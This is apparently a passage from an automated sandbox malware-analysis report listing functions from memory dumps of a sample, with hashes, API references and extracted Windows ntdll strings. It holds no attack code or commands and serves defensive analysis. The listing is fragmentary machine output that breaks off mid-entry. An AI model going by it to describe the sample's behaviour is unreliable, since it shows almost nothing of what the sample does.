                                  • Opcode ID: 0007e9899bb8d65442dd252decc12257072bc535ee3325ccaa2c241a00c20d8b
                                  • Instruction ID: 94be8940b4570a8ccafeb8e2c3bf58cee7564142d4f8afe53f0fb8bdc2f5dfe8
                                  • Opcode Fuzzy Hash: 0007e9899bb8d65442dd252decc12257072bc535ee3325ccaa2c241a00c20d8b
                                  • Instruction Fuzzy Hash: 0EE06DB23042047BCA10EE59EC41E9B73ADEFC5724F404019FD08A7281C771B910CBB9
                                  Function 0042B903 Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 204 42b903-42b93f call 404a83 call 42c603 ExitProcess
                                  APIs
                                  • ExitProcess.KERNEL32(?,00000000,00000000,?,52AC804A,?,?,52AC804A), ref: 0042B93A
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_400000_P1 HWT623ATG.jbxd
                                  Yara matches
                                  Similarity
                                  • API ID: ExitProcess
                                  • String ID:
                                  • API String ID: 621844428-0
                                  • Opcode ID: 670a3434f9ebf08651ab7438c8f745d2888e1581b7f8773cc8c952b12289d4fb
                                  • Instruction ID: 1635fe3acdd37ffb3153f7aed0ca08cc1fda1c62ea01f9124036e0877a845f8b
                                  • Opcode Fuzzy Hash: 670a3434f9ebf08651ab7438c8f745d2888e1581b7f8773cc8c952b12289d4fb
                                  • Instruction Fuzzy Hash: A6E086362402147BD620EA5AEC41F9B776CEFC5724F004119FA0867241C7717A0187F8
                                  Function 01272C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 209 1272c0a-1272c0f 210 1272c11-1272c18 209->210 211 1272c1f-1272c26 LdrInitializeThunk 209->211
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: InitializeThunk
                                  • String ID:
                                  • API String ID: 2994545307-0
                                  • Opcode ID: 2bcc3d304edff51d60c67e0e285f9464aab8a8b5c6fc4f6c67d5558d10099f86
                                  • Instruction ID: b0f46de9d2c7e0de0c22d164b3c1b8301a577f23855f2a712fe77a874a679b9a
                                  • Opcode Fuzzy Hash: 2bcc3d304edff51d60c67e0e285f9464aab8a8b5c6fc4f6c67d5558d10099f86
                                  • Instruction Fuzzy Hash: D4B09B719125D5C5EA11F7644608717790577E0701F56C065D3030645F4738C1D1E375

                                  Non-executed Functions

                                  Function 012B2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                                  • API String ID: 0-2160512332
                                  • Opcode ID: bb686e78dbd8974c2e909ed4a42a84c13fafc2d4988b6b4f2703cdd72f818971
                                  • Instruction ID: 5c242e666ce6f64e34655dbb380ae8348410a95b2683f5d9da51610d5a7e6b90
                                  • Opcode Fuzzy Hash: bb686e78dbd8974c2e909ed4a42a84c13fafc2d4988b6b4f2703cdd72f818971
                                  • Instruction Fuzzy Hash: 79928D71624742EFE725DE28C881BABBBE8BB84790F04491DFB94D7250D770E844CB92
                                  Function 01268620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON
                                  Download Yara Rule
                                  Strings
                                  • Thread is in a state in which it cannot own a critical section, xrefs: 012A5543
                                  • Critical section address, xrefs: 012A5425, 012A54BC, 012A5534
                                  • undeleted critical section in freed memory, xrefs: 012A542B
                                  • Critical section address., xrefs: 012A5502
                                  • Invalid debug info address of this critical section, xrefs: 012A54B6
                                  • Address of the debug info found in the active list., xrefs: 012A54AE, 012A54FA
                                  • 8, xrefs: 012A52E3
                                  • Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 012A540A, 012A5496, 012A5519
                                  • Thread identifier, xrefs: 012A553A
                                  • First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 012A54E2
                                  • Critical section debug info address, xrefs: 012A541F, 012A552E
                                  • Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 012A54CE
                                  • double initialized or corrupted critical section, xrefs: 012A5508
                                  • corrupted critical section, xrefs: 012A54C2
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
                                  • API String ID: 0-2368682639
                                  • Opcode ID: 4bd244a56b9ace447e3887fd218bc94e3c7f6504e78a88ca74caee8fed402ff9
                                  • Instruction ID: 8e74bf4f0934b0a14cffc7131ada19e57c465e12508c8bdff4c45cb26c528e82
                                  • Opcode Fuzzy Hash: 4bd244a56b9ace447e3887fd218bc94e3c7f6504e78a88ca74caee8fed402ff9
                                  • Instruction Fuzzy Hash: 7381AFB1A60359EFDB20CF99C885BAEBBF9FB58714F544119F604B7280D3B5A940CB60
                                  Function 012629F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON
                                  Download Yara Rule
                                  Strings
                                  • SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 012A2498
                                  • RtlpResolveAssemblyStorageMapEntry, xrefs: 012A261F
                                  • SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 012A22E4
                                  • SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 012A2506
                                  • SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 012A25EB
                                  • @, xrefs: 012A259B
                                  • SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 012A2412
                                  • SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 012A2602
                                  • SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 012A24C0
                                  • SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 012A2409
                                  • SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 012A2624
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
                                  • API String ID: 0-4009184096
                                  • Opcode ID: d5a81204e459e67104ba70be48b53ef8de952688bbc0a6eadda0444198c6ae92
                                  • Instruction ID: d35b5f72dee2aee6250340a76e35a281f57830a9a009e77da290b46181a7d0df
                                  • Opcode Fuzzy Hash: d5a81204e459e67104ba70be48b53ef8de952688bbc0a6eadda0444198c6ae92
                                  • Instruction Fuzzy Hash: 530271B1D20229DFDB21DB54CD81BEAB7B8AB54304F4141EAEB09A7281D7709EC4CF59
                                  Function 012D8B42 Relevance: 12.6, Strings: 10, Instructions: 146COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
                                  • API String ID: 0-2515994595
                                  • Opcode ID: 1ca967bdb2520069d9045ad0720e6b7b9da469615d83e898441276cc6a8abd1c
                                  • Instruction ID: 17f6c2fc848001b6feba44feb3e359f69f37a8a66e86654ed17e6c572f646e20
                                  • Opcode Fuzzy Hash: 1ca967bdb2520069d9045ad0720e6b7b9da469615d83e898441276cc6a8abd1c
                                  • Instruction Fuzzy Hash: 3551A1715243469BD32ADF28C844BBBBBECEF98350F144A1DEA95C3291E770D604C792
                                  Function 012E0274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                  • API String ID: 0-1700792311
                                  • Opcode ID: a2d13ed5727593d6df2699630c9f3a6a9f2ecd0663ae6e85d9a1272172bd78d9
                                  • Instruction ID: 059cbd58e5def696ab05e924e27dae38734d78905fb17e174315a06be9ed2c1b
                                  • Opcode Fuzzy Hash: a2d13ed5727593d6df2699630c9f3a6a9f2ecd0663ae6e85d9a1272172bd78d9
                                  • Instruction Fuzzy Hash: 32D10031620282EFDB22EF68C449AAEBBF1FF49700F488049F5559B652C7B4D942CF18
                                  Function 012B89B3 Relevance: 9.0, Strings: 7, Instructions: 259COMMON
                                  Download Yara Rule
                                  Strings
                                  • VerifierDebug, xrefs: 012B8CA5
                                  • AVRF: -*- final list of providers -*- , xrefs: 012B8B8F
                                  • AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 012B8A3D
                                  • VerifierFlags, xrefs: 012B8C50
                                  • VerifierDlls, xrefs: 012B8CBD
                                  • AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 012B8A67
                                  • HandleTraces, xrefs: 012B8C8F
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
                                  • API String ID: 0-3223716464
                                  • Opcode ID: 3c02e3b01efa44768492edd2fb2397eb8086df5f26ec1d628acc6299fed7a49f
                                  • Instruction ID: 5b3c1c41e945ff9191a4cd7b55f66ba457ec0f0f29935cb0496118df6c1dc36e
                                  • Opcode Fuzzy Hash: 3c02e3b01efa44768492edd2fb2397eb8086df5f26ec1d628acc6299fed7a49f
                                  • Instruction Fuzzy Hash: 739146B2661352AFD732EF2888C1BEA77ECAB54B94F04045DFB48AB281D7709D00C795
                                  Function 0123EA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
                                  • API String ID: 0-1109411897
                                  • Opcode ID: e3266b7b26699d50b4e21e1509e8bb46af3608b742dc2f067d7c7946c0cb6996
                                  • Instruction ID: f958499edefbd99d202ec3459770e3f5d6facfe7c4b190fe3d4b897de06ac5cc
                                  • Opcode Fuzzy Hash: e3266b7b26699d50b4e21e1509e8bb46af3608b742dc2f067d7c7946c0cb6996
                                  • Instruction Fuzzy Hash: A8A24BB0E2566A8FDF64DF18CD887ADBBB5AF85304F1442E9D909A7250DB709E85CF00
                                  Function 012663FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
                                  • API String ID: 0-792281065
                                  • Opcode ID: 88fd3c45644fa3659b305b2effc5cb8bacde1d6f861c919d3525bf89171098dc
                                  • Instruction ID: 1de9c49e5dc44e1fffbc86e1a99505c916f0fe00817a7c8398616fb5ce5d82f2
                                  • Opcode Fuzzy Hash: 88fd3c45644fa3659b305b2effc5cb8bacde1d6f861c919d3525bf89171098dc
                                  • Instruction Fuzzy Hash: D9911470A30356DBEB35EF58E845BBA7BA9FF50B14F58012DEA006B2C5D7B49841C790
                                  Function 0122645D Relevance: 7.6, Strings: 6, Instructions: 150COMMON
                                  Download Yara Rule
                                  Strings
                                  • apphelp.dll, xrefs: 01226496
                                  • Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 012899ED
                                  • LdrpInitShimEngine, xrefs: 012899F4, 01289A07, 01289A30
                                  • minkernel\ntdll\ldrinit.c, xrefs: 01289A11, 01289A3A
                                  • Loading the shim engine DLL failed with status 0x%08lx, xrefs: 01289A2A
                                  • Getting the shim engine exports failed with status 0x%08lx, xrefs: 01289A01
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
                                  • API String ID: 0-204845295
                                  • Opcode ID: a79e8a2f40e5f4f9948ea8fc63f01480c8ff949aad83d3b0d1490b883ece0f58
                                  • Instruction ID: d0078f610f77b47ed5486955d92e2ddcbb9007ec3e54d581d29a9bdb85aa439d
                                  • Opcode Fuzzy Hash: a79e8a2f40e5f4f9948ea8fc63f01480c8ff949aad83d3b0d1490b883ece0f58
                                  • Instruction Fuzzy Hash: 6D51D272269305AFDB30EF24D881BABB7E8FB84748F10091DFA8597190D670E944CB92
                                  Function 01262674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                  Download Yara Rule
                                  Strings
                                  • SXS: %s() passed the empty activation context, xrefs: 012A2165
                                  • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 012A21BF
                                  • RtlGetAssemblyStorageRoot, xrefs: 012A2160, 012A219A, 012A21BA
                                  • SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 012A219F
                                  • SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 012A2180
                                  • SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 012A2178
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
                                  • API String ID: 0-861424205
                                  • Opcode ID: 4f629ff3e87a36eff24f95d158d81a9e99a86d35db2cc74b590e06fe7b7e3008
                                  • Instruction ID: 6302e2e06328af908d4fbb6dd1b4e65d83515188ed0a7cfff7df3a804fda30d2
                                  • Opcode Fuzzy Hash: 4f629ff3e87a36eff24f95d158d81a9e99a86d35db2cc74b590e06fe7b7e3008
                                  • Instruction Fuzzy Hash: 1A310736BB0216F7E726CA998C81F6A7AACDBA4B90F054059FB0467185D270AA40C7A1
                                  Function 0126C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                  Download Yara Rule
                                  Strings
                                  • LdrpInitializeImportRedirection, xrefs: 012A8177, 012A81EB
                                  • Unable to build import redirection Table, Status = 0x%x, xrefs: 012A81E5
                                  • minkernel\ntdll\ldrinit.c, xrefs: 0126C6C3
                                  • minkernel\ntdll\ldrredirect.c, xrefs: 012A8181, 012A81F5
                                  • Loading import redirection DLL: '%wZ', xrefs: 012A8170
                                  • LdrpInitializeProcess, xrefs: 0126C6C4
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
                                  • API String ID: 0-475462383
                                  • Opcode ID: 64ba03eb570ca26e05ece85b950600db45c7eb9020527db33f33ee0ba48e4051
                                  • Instruction ID: 322855090c1f17585ebeb15f3d3aa28b87c6b313afbda987eea1cec126acb37c
                                  • Opcode Fuzzy Hash: 64ba03eb570ca26e05ece85b950600db45c7eb9020527db33f33ee0ba48e4051
                                  • Instruction Fuzzy Hash: 1031E271664342AFD320FF29D986E2A77E9AF94B20F04055CF9856B2D1E620ED04C7A2
                                  Function 0127096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 01272DF0: LdrInitializeThunk.NTDLL ref: 01272DFA
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01270BA3
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01270BB6
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01270D60
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01270D74
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
                                  • String ID:
                                  • API String ID: 1404860816-0
                                  • Opcode ID: 3ed99279aa06ec927e3602a15799a095260bde4562866f655531121a2804a73b
                                  • Instruction ID: 12051ba8a70d5dd3c23734b73c208dddb8f36c18070ea88c1e23db1c13c8940a
                                  • Opcode Fuzzy Hash: 3ed99279aa06ec927e3602a15799a095260bde4562866f655531121a2804a73b
                                  • Instruction Fuzzy Hash: 62426D71910716DFDB21CF28C881BAAB7F5FF05314F1445AAEA89DB241E770AA84CF60
                                  Function 0123A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
                                  • API String ID: 0-379654539
                                  • Opcode ID: 37359d00bad6e2d784e977418438cb2e0a59e88c1c03a49d12321db2810e3284
                                  • Instruction ID: 466fbf41054c77aa4d6a0bd6fccda889ac3296121a88372cf9bfe6fac62f99b8
                                  • Opcode Fuzzy Hash: 37359d00bad6e2d784e977418438cb2e0a59e88c1c03a49d12321db2810e3284
                                  • Instruction Fuzzy Hash: 9AC176B4528382DFDB25CF58C044B6AB7E4FF84704F04496AFA96CB291E774C949CB62
                                  Function 01268402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON
                                  Download Yara Rule
                                  Strings
                                  • \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 0126855E
                                  • minkernel\ntdll\ldrinit.c, xrefs: 01268421
                                  • @, xrefs: 01268591
                                  • LdrpInitializeProcess, xrefs: 01268422
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
                                  • API String ID: 0-1918872054
                                  • Opcode ID: f7b18a3b14be5dc26ed86a5438b6a3eceba38e69b5cd318446f3053af90b323f
                                  • Instruction ID: 476cb68316770c5bc3329bd81e6c0452960ed10bab0f3230cd1dd823ba01cfa4
                                  • Opcode Fuzzy Hash: f7b18a3b14be5dc26ed86a5438b6a3eceba38e69b5cd318446f3053af90b323f
                                  • Instruction Fuzzy Hash: E7917B71568346AFD722EF65C841FBBBAECFB84744F40092EFA8492191E734D944CB62
                                  Function 0126273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON
                                  Download Yara Rule
                                  Strings
                                  • SXS: %s() passed the empty activation context, xrefs: 012A21DE
                                  • .Local, xrefs: 012628D8
                                  • RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 012A21D9, 012A22B1
                                  • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 012A22B6
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
                                  • API String ID: 0-1239276146
                                  • Opcode ID: b5d43605b262c89628cf0ddc1a4ec839d94ed8c0e8f385aeeb20e0d6c41d9959
                                  • Instruction ID: 3c934a759be275823dca0a4324ea6a055a3e7052d26c9da95b9d63629f59de82
                                  • Opcode Fuzzy Hash: b5d43605b262c89628cf0ddc1a4ec839d94ed8c0e8f385aeeb20e0d6c41d9959
                                  • Instruction Fuzzy Hash: D7A1C43192122ADFDB25CF58CC84BA9B7B5BF58354F2441E9DA48A7291D7709EC0CF90
                                  Function 012364AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON
                                  Download Yara Rule
                                  Strings
                                  • ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 01291028
                                  • ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 012910AE
                                  • ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 0129106B
                                  • ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 01290FE5
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
                                  • API String ID: 0-1468400865
                                  • Opcode ID: 4c2a8a9bc6d5fd30755388e40b1e1a4fdd54d316d4ee20088b30dbb2735017a3
                                  • Instruction ID: 67dd60f5ee9905291c5fd44784da90800ab9f6de3fa18a44d8989ef5bc9c94a0
                                  • Opcode Fuzzy Hash: 4c2a8a9bc6d5fd30755388e40b1e1a4fdd54d316d4ee20088b30dbb2735017a3
                                  • Instruction Fuzzy Hash: 5D71C4B1524346AFCB21DF18C885BAB7FACAF94764F400468F9488B186D774D689CBD2
                                  Function 0125245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON
                                  Download Yara Rule
                                  Strings
                                  • apphelp.dll, xrefs: 01252462
                                  • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 0129A992
                                  • minkernel\ntdll\ldrinit.c, xrefs: 0129A9A2
                                  • LdrpDynamicShimModule, xrefs: 0129A998
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_9_2_1200000_P1 HWT623ATG.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
                                  • API String ID: 0-176724104
                                  • Opcode ID: 2d6e92f6b045655c62ab91af2c26d2688c84c0157e9880ef35c4334ab55f63dd
                                  • Instruction ID: 165da8f0230f9543a78828588a40e121c5cb85269a112b15e9092dfa98c54b7a
                                  • Opcode Fuzzy Hash: 2d6e92f6b045655c62ab91af2c26d2688c84c0157e9880ef35c4334ab55f63dd
                                  • Instruction Fuzzy Hash: 69310975A20302EBEF31EF5DD886A7A7BB9FB84B14F26001DEE11A7255C7B49941C780
                                  Function 012429A0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON
                                  Download Yara Rule
                                  Strings
                                  • HEAP[%wZ]: , xrefs: 01243255
                                  • HEAP: , xrefs: 01243264
                                  • Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 0124327D
                                  Memory Dump Source
                                  • Source File: 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, Offset: 01200000, based on PE: true
                                  Joe Sandbox IDA Plugin
